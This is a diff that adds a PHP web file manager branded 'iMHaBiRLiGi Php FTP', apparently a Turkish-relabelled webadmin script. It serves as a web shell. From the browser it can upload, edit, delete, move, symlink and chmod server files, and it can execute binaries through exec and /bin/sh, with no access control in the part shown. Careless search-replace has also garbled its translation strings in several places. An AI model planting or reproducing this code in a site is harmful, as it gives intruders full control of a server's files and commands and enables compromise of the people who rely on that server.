+
+[ ' . word('Geri') . ' ]
+
+
+
+';
+
+ html_footer();
+
+ }
+
+ break;
+
+case 'Tasi':
+
+ if (!empty($_POST['Yol'])) {
+
+ $dest = relative2absolute($_POST['Yol'], $directory);
+
+ $failure = array();
+ $success = array();
+
+ foreach ($files as $file) {
+ $filename = substr($file, strlen($directory));
+ $d = $dest . $filename;
+ if (!@file_exists($d) && @Degistir($file, $d)) {
+ $success[] = $file;
+ } else {
+ $failure[] = $file;
+ }
+ }
+
+ $message = '';
+ if (sizeof($failure) > 0) {
+ $message = error('not_Tasid', implode("\n", $failure), $dest);
+ }
+ if (sizeof($success) > 0) {
+ $message .= notice('Tasid', implode("\n", $success), $dest);
+ }
+
+ listing_page($message);
+
+ } else {
+
+ html_header();
+
+ echo '
+
+
+
+[ ' . word('Geri') . ' ]
+
+
+
+';
+
+ html_footer();
+
+ }
+
+ break;
+
+case 'Kopyala':
+
+ if (!empty($_POST['Yol'])) {
+
+ $dest = relative2absolute($_POST['Yol'], $directory);
+
+ if (@is_dir($dest)) {
+
+ $failure = array();
+ $success = array();
+
+ foreach ($files as $file) {
+ $filename = substr($file, strlen($directory));
+ $d = addslash($dest) . $filename;
+ if (!@is_dir($file) && !@file_exists($d) && @Kopyala($file, $d)) {
+ $success[] = $file;
+ } else {
+ $failure[] = $file;
+ }
+ }
+
+ $message = '';
+ if (sizeof($failure) > 0) {
+ $message = error('not_copied', implode("\n", $failure), $dest);
+ }
+ if (sizeof($success) > 0) {
+ $message .= notice('copied', implode("\n", $success), $dest);
+ }
+
+ listing_page($message);
+
+ } else {
+
+ if (!@file_exists($dest) && @Kopyala($file, $dest)) {
+ listing_page(notice('copied', $file, $dest));
+ } else {
+ listing_page(error('not_copied', $file, $dest));
+ }
+
+ }
+
+ } else {
+
+ html_header();
+
+ echo '
+
+
+
+[ ' . word('Geri') . ' ]
+
+
+
+';
+
+ html_footer();
+
+ }
+
+ break;
+
+case 'create_symlink':
+
+ if (!empty($_POST['Yol'])) {
+
+ $dest = relative2absolute($_POST['Yol'], $directory);
+
+ if (substr($dest, -1, 1) == $delim) $dest .= basename($file);
+
+ if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);
+
+ if (!@file_exists($dest) && @symlink($file, $dest)) {
+ listing_page(notice('symlinked', $file, $dest));
+ } else {
+ listing_page(error('not_symlinked', $file, $dest));
+ }
+
+ } else {
+
+ html_header();
+
+ echo '
+
+
+
+[ ' . word('Geri') . ' ]
+
+
+
+';
+
+ html_footer();
+
+ }
+
+ break;
+
+case 'Düzenle':
+
+ if (!empty($_POST['save'])) {
+
+ $content = str_replace("\r\n", "\n", $_POST['content']);
+
+ if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
+ listing_page(notice('saved', $file));
+ } else {
+ listing_page(error('not_saved', $file));
+ }
+
+ } else {
+
+ if (@is_readable($file) && @is_writable($file)) {
+ Düzenle($file);
+ } else {
+ listing_page(error('not_Düzenleed', $file));
+ }
+
+ }
+
+ break;
+
+case 'permission':
+
+ if (!empty($_POST['set'])) {
+
+ $mode = 0;
+ if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
+ if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
+ if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
+
+ if (@chmod($file, $mode)) {
+ listing_page(notice('permission_set', $file, decoct($mode)));
+ } else {
+ listing_page(error('permission_not_set', $file, decoct($mode)));
+ }
+
+ } else {
+
+ html_header();
+
+ $mode = fileperms($file);
+
+ echo '
+
+
+
+[ ' . word('Geri') . ' ]
+
+
+
+';
+
+ html_footer();
+
+ }
+
+ break;
+
+default:
+
+ listing_page();
+
+}
+
+/* ------------------------------------------------------------------------- */
+
+function getlist ($directory) {
+ global $delim, $win;
+
+ if ($d = @opendir($directory)) {
+
+ while (($filename = @readdir($d)) !== false) {
+
+ $path = $directory . $filename;
+
+ if ($stat = @lstat($path)) {
+
+ $file = array(
+ 'filename' => $filename,
+ 'path' => $path,
+ 'is_file' => @is_file($path),
+ 'is_dir' => @is_dir($path),
+ 'is_link' => @is_link($path),
+ 'is_readable' => @is_readable($path),
+ 'is_writable' => @is_writable($path),
+ 'size' => $stat['size'],
+ 'permission' => $stat['mode'],
+ 'owner' => $stat['uid'],
+ 'group' => $stat['gid'],
+ 'mtime' => @filemtime($path),
+ 'atime' => @fileatime($path),
+ 'ctime' => @filectime($path)
+ );
+
+ if ($file['is_dir']) {
+ $file['is_executable'] = @file_exists($path . $delim . '.');
+ } else {
+ if (!$win) {
+ $file['is_executable'] = @is_executable($path);
+ } else {
+ $file['is_executable'] = true;
+ }
+ }
+
+ if ($file['is_link']) $file['target'] = @readlink($path);
+
+ if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
+ if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
+
+ $files[] = $file;
+
+ }
+
+ }
+
+ return $files;
+
+ } else {
+ return false;
+ }
+
+}
+
+function sortlist (&$list, $key, $reverse) {
+
+ quicksort($list, 0, sizeof($list) - 1, $key);
+
+ if ($reverse) $list = array_reverse($list);
+
+}
+
+function quicksort (&$array, $first, $last, $key) {
+
+ if ($first < $last) {
+
+ $cmp = $array[floor(($first + $last) / 2)][$key];
+
+ $l = $first;
+ $r = $last;
+
+ while ($l <= $r) {
+
+ while ($array[$l][$key] < $cmp) $l++;
+ while ($array[$r][$key] > $cmp) $r--;
+
+ if ($l <= $r) {
+
+ $tmp = $array[$l];
+ $array[$l] = $array[$r];
+ $array[$r] = $tmp;
+
+ $l++;
+ $r--;
+
+ }
+
+ }
+
+ quicksort($array, $first, $r, $key);
+ quicksort($array, $l, $last, $key);
+
+ }
+
+}
+
+function permission_octal2string ($mode) {
+
+ if (($mode & 0xC000) === 0xC000) {
+ $type = 's';
+ } elseif (($mode & 0xA000) === 0xA000) {
+ $type = 'l';
+ } elseif (($mode & 0x8000) === 0x8000) {
+ $type = '-';
+ } elseif (($mode & 0x6000) === 0x6000) {
+ $type = 'b';
+ } elseif (($mode & 0x4000) === 0x4000) {
+ $type = 'd';
+ } elseif (($mode & 0x2000) === 0x2000) {
+ $type = 'c';
+ } elseif (($mode & 0x1000) === 0x1000) {
+ $type = 'p';
+ } else {
+ $type = '?';
+ }
+
+ $owner = ($mode & 00400) ? 'r' : '-';
+ $owner .= ($mode & 00200) ? 'w' : '-';
+ if ($mode & 0x800) {
+ $owner .= ($mode & 00100) ? 's' : 'S';
+ } else {
+ $owner .= ($mode & 00100) ? 'x' : '-';
+ }
+
+ $group = ($mode & 00040) ? 'r' : '-';
+ $group .= ($mode & 00020) ? 'w' : '-';
+ if ($mode & 0x400) {
+ $group .= ($mode & 00010) ? 's' : 'S';
+ } else {
+ $group .= ($mode & 00010) ? 'x' : '-';
+ }
+
+ $other = ($mode & 00004) ? 'r' : '-';
+ $other .= ($mode & 00002) ? 'w' : '-';
+ if ($mode & 0x200) {
+ $other .= ($mode & 00001) ? 't' : 'T';
+ } else {
+ $other .= ($mode & 00001) ? 'x' : '-';
+ }
+
+ return $type . $owner . $group . $other;
+
+}
+
+function is_script ($filename) {
+ return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
+}
+
+function getmimetype ($filename) {
+ static $mimes = array(
+ '\.jpg$|\.jpeg$' => 'image/jpeg',
+ '\.gif$' => 'image/gif',
+ '\.png$' => 'image/png',
+ '\.html$|\.html$' => 'text/html',
+ '\.txt$|\.asc$' => 'text/plain',
+ '\.xml$|\.xsl$' => 'application/xml',
+ '\.pdf$' => 'application/pdf'
+ );
+
+ foreach ($mimes as $regex => $mime) {
+ if (eregi($regex, $filename)) return $mime;
+ }
+
+ // return 'application/octet-stream';
+ return 'text/plain';
+
+}
+
+function del ($file) {
+ global $delim;
+
+ if (!@is_link($file) && !file_exists($file)) return false;
+
+ if (!@is_link($file) && @is_dir($file)) {
+
+ if ($dir = @opendir($file)) {
+
+ $error = false;
+
+ while (($f = readdir($dir)) !== false) {
+ if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
+ $error = true;
+ }
+ }
+ closedir($dir);
+
+ if (!$error) return @rmdir($file);
+
+ return !$error;
+
+ } else {
+ return false;
+ }
+
+ } else {
+ return @unlink($file);
+ }
+
+}
+
+function addslash ($directory) {
+ global $delim;
+
+ if (substr($directory, -1, 1) != $delim) {
+ return $directory . $delim;
+ } else {
+ return $directory;
+ }
+
+}
+
+function relative2absolute ($string, $directory) {
+
+ if (path_is_relative($string)) {
+ return simplify_path(addslash($directory) . $string);
+ } else {
+ return simplify_path($string);
+ }
+
+}
+
+function path_is_relative ($path) {
+ global $win;
+
+ if ($win) {
+ return (substr($path, 1, 1) != ':');
+ } else {
+ return (substr($path, 0, 1) != '/');
+ }
+
+}
+
+function absolute2relative ($directory, $target) {
+ global $delim;
+
+ $path = '';
+ while ($directory != $target) {
+ if ($directory == substr($target, 0, strlen($directory))) {
+ $path .= substr($target, strlen($directory));
+ break;
+ } else {
+ $path .= '..' . $delim;
+ $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
+ }
+ }
+ if ($path == '') $path = '.';
+
+ return $path;
+
+}
+
+function simplify_path ($path) {
+ global $delim;
+
+ if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
+ $path = realpath($path);
+ if (@is_dir($path)) {
+ return addslash($path);
+ } else {
+ return $path;
+ }
+ }
+
+ $pattern = $delim . '.' . $delim;
+
+ if (@is_dir($path)) {
+ $path = addslash($path);
+ }
+
+ while (strpos($path, $pattern) !== false) {
+ $path = str_replace($pattern, $delim, $path);
+ }
+
+ $e = addslashes($delim);
+ $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
+
+ while (ereg($regex, $path)) {
+ $path = ereg_replace($regex, $delim, $path);
+ }
+
+ return $path;
+
+}
+
+function human_filesize ($filesize) {
+
+ $suffices = 'kMGTPE';
+
+ $n = 0;
+ while ($filesize >= 1000) {
+ $filesize /= 1024;
+ $n++;
+ }
+
+ $filesize = round($filesize, 3 - strpos($filesize, '.'));
+
+ if (strpos($filesize, '.') !== false) {
+ while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
+ $filesize = substr($filesize, 0, strlen($filesize) - 1);
+ }
+ }
+
+ $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
+
+ return $filesize . " {$suffix}B";
+
+}
+
+function strip (&$str) {
+ $str = stripslashes($str);
+}
+
+/* ------------------------------------------------------------------------- */
+
+function listing_page ($message = null) {
+ global $self, $directory, $sort, $reverse;
+
+ html_header();
+
+ $list = getlist($directory);
+
+ if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
+ if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
+
+ sortlist($list, $sort, $reverse);
+
+ echo 'iMHaBiRLiGi Php FTP
+
+
+
+
+';
+
+ directory_choice();
+
+ if (!empty($message)) {
+ spacer();
+ echo $message;
+ }
+
+ if (@is_writable($directory)) {
+ upload_box();
+ create_box();
+ } else {
+ spacer();
+ }
+
+ if ($list) {
+ listing($list);
+ } else {
+ echo error('not_readable', $directory);
+ }
+
+ echo '
+
+
+
+';
+
+ html_footer();
+
+}
+
+function listing ($list) {
+ global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
+
+ echo '
+
+';
+
+ $d = 'dir=' . urlencode($directory) . '&';
+
+ if (!$reverse && $sort == 'filename') $r = '&reverse=true'; else $r = '';
+ echo "\t" . word('filename') . " \n";
+
+ if (!$reverse && $sort == 'size') $r = '&reverse=true'; else $r = '';
+ echo "\t" . word('size') . " \n";
+
+ if (!$win) {
+
+ if (!$reverse && $sort == 'permission') $r = '&reverse=true'; else $r = '';
+ echo "\t\n";
+
+ if (!$reverse && $sort == 'owner') $r = '&reverse=true'; else $r = '';
+ echo "\t" . word('owner') . " \n";
+
+ if (!$reverse && $sort == 'group') $r = '&reverse=true'; else $r = '';
+ echo "\t" . word('group') . " \n";
+
+ }
+
+ echo ' ' . word('Görevler') . '
+
+';
+
+ for ($i = 0; $i < sizeof($list); $i++) {
+ $file = $list[$i];
+
+ $timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
+ $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
+ $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
+
+ echo '
+
+ ';
+
+ if ($file['is_link']) {
+
+ echo ' ';
+ echo html($file['filename']) . ' → ';
+
+ $real_file = relative2absolute($file['target'], $directory);
+
+ if (@is_readable($real_file)) {
+ if (@is_dir($real_file)) {
+ echo '[ ' . html($file['target']) . ' ]';
+ } else {
+ echo '' . html($file['target']) . ' ';
+ }
+ } else {
+ echo html($file['target']);
+ }
+
+ } elseif ($file['is_dir']) {
+
+ echo ' [ ';
+ if ($win || $file['is_executable']) {
+ echo '' . html($file['filename']) . ' ';
+ } else {
+ echo html($file['filename']);
+ }
+ echo ' ]';
+
+ } else {
+
+ if (substr($file['filename'], 0, 1) == '.') {
+ echo ' ';
+ } else {
+ echo ' ';
+ }
+
+ if ($file['is_file'] && $file['is_readable']) {
+ echo '' . html($file['filename']) . ' ';
+ } else {
+ echo html($file['filename']);
+ }
+
+ }
+
+ if ($file['size'] >= 1000) {
+ $human = ' title="' . human_filesize($file['size']) . '"';
+ } else {
+ $human = '';
+ }
+
+ echo "\t {$file['size']} B \n";
+
+ if (!$win) {
+
+ echo "\t';
+
+ $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
+ if ($l) echo '';
+ echo html(permission_octal2string($file['permission']));
+ if ($l) echo ' ';
+
+ echo " \n";
+
+ if (array_key_exists('owner_name', $file)) {
+ echo "\t{$file['owner_name']} \n";
+ } else {
+ echo "\t{$file['owner']} \n";
+ }
+
+ if (array_key_exists('group_name', $file)) {
+ echo "\t{$file['group_name']} \n";
+ } else {
+ echo "\t{$file['group']} \n";
+ }
+
+ }
+
+ echo '
+
+';
+
+ $actions = array();
+ if (function_exists('symlink')) {
+ $actions[] = 'create_symlink';
+ }
+ if (@is_writable(dirname($file['path']))) {
+ $actions[] = 'Sil';
+ $actions[] = 'Degistir';
+ $actions[] = 'Tasi';
+ }
+ if ($file['is_file'] && $file['is_readable']) {
+ $actions[] = 'Kopyala';
+ $actions[] = 'indir';
+ if ($file['is_writable']) $actions[] = 'Düzenle';
+ }
+ if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
+ $actions[] = 'execute';
+ }
+
+ if (sizeof($actions) > 0) {
+
+ echo '
+ ' . str_repeat(' ', 30) . '
+';
+
+ foreach ($actions as $action) {
+ echo "\t\t" . word($action) . " \n";
+ }
+
+ echo '
+
+';
+
+ }
+
+ echo '
+
+';
+
+ }
+
+ echo '
+';
+
+}
+
+function directory_choice () {
+ global $directory, $homedir, $cols, $self;
+
+ echo '
+
+ ' . word('directory') . ' :
+
+
+
+
+';
+
+}
+
+function upload_box () {
+ global $cols;
+
+ echo '
+
+ ' . word('file') . ':
+
+
+
+
+';
+
+}
+
+function create_box () {
+ global $cols;
+
+ echo '
+
+
+ ' . word('file') . '
+ ' . word('directory') . '
+
+
+
+
+
+';
+
+}
+
+function Düzenle ($file) {
+ global $self, $directory, $Düzenlecols, $Düzenlerows, $apache, $htpasswd, $htaccess;
+
+ html_header();
+
+ echo '' . html($file) . '
+
+
+
+
+
+[ ' . word('Geri') . ' ]
+
+
+
+';
+
+ html_footer();
+
+}
+
+function spacer () {
+ global $cols;
+
+ echo '
+
+
+';
+
+}
+
+function textfieldsize ($content) {
+
+ $size = strlen($content) + 5;
+ if ($size < 30) $size = 30;
+
+ return $size;
+
+}
+
+function request_dump () {
+
+ foreach ($_REQUEST as $key => $value) {
+ echo "\t \n";
+ }
+
+}
+
+/* ------------------------------------------------------------------------- */
+
+function html ($string) {
+ global $charset;
+ return htmlentities($string, ENT_COMPAT, $charset);
+}
+
+function word ($word) {
+ global $words, $word_charset;
+ return htmlentities($words[$word], ENT_COMPAT, $word_charset);
+}
+
+function phrase ($phrase, $arguments) {
+ global $words;
+ static $search;
+
+ if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";
+
+ for ($i = 0; $i < sizeof($arguments); $i++) {
+ $arguments[$i] = nl2br(html($arguments[$i]));
+ }
+
+ $replace = array('{' => '', '}' =>' ', '[' => '', ']' => ' ');
+
+ return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
+
+}
+
+function getwords ($lang) {
+ global $word_charset, $date_format;
+
+ switch ($lang) {
+ case 'de':
+
+ $date_format = 'd.m.y H:i:s';
+ $word_charset = 'ISO-8859-1';
+
+ return array(
+'directory' => 'Verzeichnis',
+'file' => 'Datei',
+'filename' => 'Dateiname',
+
+'size' => 'Größe',
+'permission' => 'Rechte',
+'owner' => 'Eigner',
+'group' => 'Gruppe',
+'other' => 'Andere',
+'Görevler' => 'Funktionen',
+
+'read' => 'lesen',
+'write' => 'schreiben',
+'execute' => 'ausführen',
+
+'create_symlink' => 'Symlink erstellen',
+'Sil' => 'löschen',
+'Degistir' => 'umbenennen',
+'Tasi' => 'verschieben',
+'Kopyala' => 'kopieren',
+'Düzenle' => 'Düzenleieren',
+'indir' => 'herunterladen',
+'upload' => 'hochladen',
+'create' => 'erstellen',
+'change' => 'wechseln',
+'save' => 'speichern',
+'set' => 'setze',
+'reset' => 'zurücksetzen',
+'relative' => 'Pfad zum Ziel relativ',
+
+'yes' => 'Ja',
+'no' => 'Nein',
+'Geri' => 'zurück',
+'Yol' => 'Ziel',
+'symlink' => 'Symbolischer Link',
+'no_output' => 'keine Ausgabe',
+
+'user' => 'Benutzername',
+'password' => 'Kennwort',
+'add' => 'hinzufügen',
+'add_basic_auth' => 'HTTP-Basic-Auth hinzufügen',
+
+'uploaded' => '"[%1]" wurde hochgeladen.',
+'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.',
+'already_exists' => '"[%1]" existiert bereits.',
+'created' => '"[%1]" wurde erstellt.',
+'not_created' => '"[%1]" konnte nicht erstellt werden.',
+'really_Sil' => 'Sollen folgende Dateien wirklich gelöscht werden?',
+'Sild' => "Folgende Dateien wurden gelöscht:\n[%1]",
+'not_Sild' => "Folgende Dateien konnten nicht gelöscht werden:\n[%1]",
+'Degistir_file' => 'Benenne Datei um:',
+'Degistird' => '"[%1]" wurde in "[%2]" umbenannt.',
+'not_Degistird' => '"[%1] konnte nicht in "[%2]" umbenannt werden.',
+'Tasi_files' => 'Verschieben folgende Dateien:',
+'Tasid' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]",
+'not_Tasid' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]",
+'Kopyala_files' => 'Kopiere folgende Dateien:',
+'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]",
+'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]",
+'not_Düzenleed' => '"[%1]" kann nicht Düzenleiert werden.',
+'executed' => "\"[%1]\" wurde erfolgreich ausgeführt:\n{%2}",
+'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgeführt werden:\n{%2}",
+'saved' => '"[%1]" wurde gespeichert.',
+'not_saved' => '"[%1]" konnte nicht gespeichert werden.',
+'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',
+'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',
+'permission_for' => 'Rechte für "[%1]":',
+'permission_set' => 'Die Rechte für "[%1]" wurden auf [%2] gesetzt.',
+'permission_not_set' => 'Die Rechte für "[%1]" konnten nicht auf [%2] gesetzt werden.',
+'not_readable' => '"[%1]" kann nicht gelesen werden.'
+ );
+
+ case 'fr':
+
+ $date_format = 'd.m.y H:i:s';
+ $word_charset = 'ISO-8859-1';
+
+ return array(
+'directory' => 'Répertoire',
+'file' => 'Fichier',
+'filename' => 'Nom fichier',
+
+'size' => 'Taille',
+'permission' => 'Droits',
+'owner' => 'Propriétaire',
+'group' => 'Groupe',
+'other' => 'Autres',
+'Görevler' => 'Fonctions',
+
+'read' => 'Lire',
+'write' => 'Ecrire',
+'execute' => 'Exécuter',
+
+'create_symlink' => 'Créer lien symbolique',
+'Sil' => 'Effacer',
+'Degistir' => 'Renommer',
+'Tasi' => 'Déplacer',
+'Kopyala' => 'Copier',
+'Düzenle' => 'Ouvrir',
+'indir' => 'Télécharger sur PC',
+'upload' => 'Télécharger sur serveur',
+'create' => 'Créer',
+'change' => 'Changer',
+'save' => 'Sauvegarder',
+'set' => 'Exécuter',
+'reset' => 'Réinitialiser',
+'relative' => 'Relatif',
+
+'yes' => 'Oui',
+'no' => 'Non',
+'Geri' => 'Retour',
+'Yol' => 'Yol',
+'symlink' => 'Lien symbollique',
+'no_output' => 'Pas de sortie',
+
+'user' => 'Utilisateur',
+'password' => 'Mot de passe',
+'add' => 'Ajouter',
+'add_basic_auth' => 'add basic-authentification',
+
+'uploaded' => '"[%1]" a été téléchargé sur le serveur.',
+'not_uploaded' => '"[%1]" n a pas été téléchargé sur le serveur.',
+'already_exists' => '"[%1]" existe déjà.',
+'created' => '"[%1]" a été créé.',
+'not_created' => '"[%1]" n a pas pu être créé.',
+'really_Sil' => 'Effacer le fichier?',
+'Sild' => "Ces fichiers ont été détuits:\n[%1]",
+'not_Sild' => "Ces fichiers n ont pu être détruits:\n[%1]",
+'Degistir_file' => 'Renomme fichier:',
+'Degistird' => '"[%1]" a été renommé en "[%2]".',
+'not_Degistird' => '"[%1] n a pas pu être renommé en "[%2]".',
+'Tasi_files' => 'Déplacer ces fichiers:',
+'Tasid' => "Ces fichiers ont été déplacés en \"[%2]\":\n[%1]",
+'not_Tasid' => "Ces fichiers n ont pas pu être déplacés en \"[%2]\":\n[%1]",
+'Kopyala_files' => 'Copier ces fichiers:',
+'copied' => "Ces fichiers ont été copiés en \"[%2]\":\n[%1]",
+'not_copied' => "Ces fichiers n ont pas pu être copiés en \"[%2]\":\n[%1]",
+'not_Düzenleed' => '"[%1]" ne peut être ouvert.',
+'executed' => "\"[%1]\" a été brillamment exécuté :\n{%2}",
+'not_executed' => "\"[%1]\" n a pas pu être exécuté:\n{%2}",
+'saved' => '"[%1]" a été sauvegardé.',
+'not_saved' => '"[%1]" n a pas pu être sauvegardé.',
+'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a été crée.',
+'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu être créé.',
+'permission_for' => 'Droits de "[%1]":',
+'permission_set' => 'Droits de "[%1]" ont été changés en [%2].',
+'permission_not_set' => 'Droits de "[%1]" n ont pas pu être changés en[%2].',
+'not_readable' => '"[%1]" ne peut pas être ouvert.'
+ );
+
+ case 'it':
+
+ $date_format = 'd-m-Y H:i:s';
+ $word_charset = 'ISO-8859-1';
+
+ return array(
+'directory' => 'Directory',
+'file' => 'File',
+'filename' => 'Nome File',
+
+'size' => 'Dimensioni',
+'permission' => 'Permessi',
+'owner' => 'Proprietario',
+'group' => 'Gruppo',
+'other' => 'Altro',
+'Görevler' => 'Funzioni',
+
+'read' => 'leggi',
+'write' => 'scrivi',
+'execute' => 'esegui',
+
+'create_symlink' => 'crea link simbolico',
+'Sil' => 'cancella',
+'Degistir' => 'rinomina',
+'Tasi' => 'sposta',
+'Kopyala' => 'copia',
+'Düzenle' => 'modifica',
+'indir' => 'indir',
+'upload' => 'upload',
+'create' => 'crea',
+'change' => 'cambia',
+'save' => 'salva',
+'set' => 'imposta',
+'reset' => 'reimposta',
+'relative' => 'Percorso relativo per la destinazione',
+
+'yes' => 'Si',
+'no' => 'No',
+'Geri' => 'indietro',
+'Yol' => 'Destinazione',
+'symlink' => 'Link simbolico',
+'no_output' => 'no output',
+
+'user' => 'User',
+'password' => 'Password',
+'add' => 'aggiungi',
+'add_basic_auth' => 'aggiungi autenticazione base',
+
+'uploaded' => '"[%1]" è stato caricato.',
+'not_uploaded' => '"[%1]" non è stato caricato.',
+'already_exists' => '"[%1]" esiste già.',
+'created' => '"[%1]" è stato creato.',
+'not_created' => '"[%1]" non è stato creato.',
+'really_Sil' => 'Cancello questi file ?',
+'Sild' => "Questi file sono stati cancellati:\n[%1]",
+'not_Sild' => "Questi file non possono essere cancellati:\n[%1]",
+'Degistir_file' => 'File rinominato:',
+'Degistird' => '"[%1]" è stato rinominato in "[%2]".',
+'not_Degistird' => '"[%1] non è stato rinominato in "[%2]".',
+'Tasi_files' => 'Sposto questi file:',
+'Tasid' => "Questi file sono stati spostati in \"[%2]\":\n[%1]",
+'not_Tasid' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]",
+'Kopyala_files' => 'Copio questi file',
+'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]",
+'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]",
+'not_Düzenleed' => '"[%1]" non può essere modificato.',
+'executed' => "\"[%1]\" è stato eseguito con successo:\n{%2}",
+'not_executed' => "\"[%1]\" non è stato eseguito con successo\n{%2}",
+'saved' => '"[%1]" è stato salvato.',
+'not_saved' => '"[%1]" non è stato salvato.',
+'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" è stato creato.',
+'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non è stato creato.',
+'permission_for' => 'Permessi di "[%1]":',
+'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].',
+'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].',
+'not_readable' => '"[%1]" non può essere letto.'
+ );
+
+ case 'se':
+
+ $date_format = 'n/j/y H:i:s';
+ $word_charset = 'ISO-8859-1';
+
+ return array(
+'directory' => 'Mapp',
+'file' => 'Fil',
+'filename' => 'Filnamn',
+
+'size' => 'Storlek',
+'permission' => 'Säkerhetsnivå',
+'owner' => 'Ägare',
+'group' => 'Grupp',
+'other' => 'Andra',
+'Görevler' => 'Funktioner',
+
+'read' => 'Läs',
+'write' => 'Skriv',
+'execute' => 'Utför',
+
+'create_symlink' => 'Skapa symlink',
+'Sil' => 'Radera',
+'Degistir' => 'Byt namn',
+'Tasi' => 'Flytta',
+'Kopyala' => 'Kopiera',
+'Düzenle' => 'Ändra',
+'indir' => 'Ladda ner',
+'upload' => 'Ladda upp',
+'create' => 'Skapa',
+'change' => 'Ändra',
+'save' => 'Spara',
+'set' => 'Markera',
+'reset' => 'Töm',
+'relative' => 'Relative path to target',
+
+'yes' => 'Ja',
+'no' => 'Nej',
+'Geri' => 'Tillbaks',
+'Yol' => 'Yol',
+'symlink' => 'Symlink',
+'no_output' => 'no output',
+
+'user' => 'Användare',
+'password' => 'Lösenord',
+'add' => 'Lägg till',
+'add_basic_auth' => 'add basic-authentification',
+
+'uploaded' => '"[%1]" har laddats upp.',
+'not_uploaded' => '"[%1]" kunde inte laddas upp.',
+'already_exists' => '"[%1]" finns redan.',
+'created' => '"[%1]" har skapats.',
+'not_created' => '"[%1]" kunde inte skapas.',
+'really_Sil' => 'Radera dessa filer?',
+'Sild' => "De här filerna har raderats:\n[%1]",
+'not_Sild' => "Dessa filer kunde inte raderas:\n[%1]",
+'Degistir_file' => 'Byt namn på fil:',
+'Degistird' => '"[%1]" har bytt namn till "[%2]".',
+'not_Degistird' => '"[%1] kunde inte döpas om till "[%2]".',
+'Tasi_files' => 'Flytta dessa filer:',
+'Tasid' => "Dessa filer har flyttats till \"[%2]\":\n[%1]",
+'not_Tasid' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]",
+'Kopyala_files' => 'Kopiera dessa filer:',
+'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]",
+'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]",
+'not_Düzenleed' => '"[%1]" kan inte ändras.',
+'executed' => "\"[%1]\" har utförts:\n{%2}",
+'not_executed' => "\"[%1]\" kunde inte utföras:\n{%2}",
+'saved' => '"[%1]" har sparats.',
+'not_saved' => '"[%1]" kunde inte sparas.',
+'symlinked' => 'Symlink från "[%2]" till "[%1]" har skapats.',
+'not_symlinked' => 'Symlink från "[%2]" till "[%1]" kunde inte skapas.',
+'permission_for' => 'Rättigheter för "[%1]":',
+'permission_set' => 'Rättigheter för "[%1]" ändrades till [%2].',
+'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
+'not_readable' => '"[%1]" kan inte läsas.'
+ );
+
+ case 'en':
+ default:
+
+ $date_format = 'n/j/y H:i:s';
+ $word_charset = 'ISO-8859-1';
+
+ return array(
+'directory' => 'Düzergah',
+'file' => 'Dosya',
+'filename' => 'DosyaAdi',
+
+'size' => 'Boyut',
+'permission' => 'izin',
+'owner' => 'Sahip',
+'group' => 'Grup',
+'other' => 'Diðerleri',
+'Görevler' => 'Görevler',
+
+'read' => 'Oku',
+'write' => 'Yaz',
+'execute' => 'Uygula',
+
+'create_symlink' => 'create symlink',
+'Sil' => 'Sil',
+'Degistir' => 'Degistir',
+'Tasi' => 'Tasi',
+'Kopyala' => 'Kopyala',
+'Düzenle' => 'Düzenle',
+'indir' => 'indir',
+'upload' => 'Yükle',
+'create' => 'Olustur',
+'change' => 'Degisiklik',
+'save' => 'Kaydet',
+'set' => 'Koyulan',
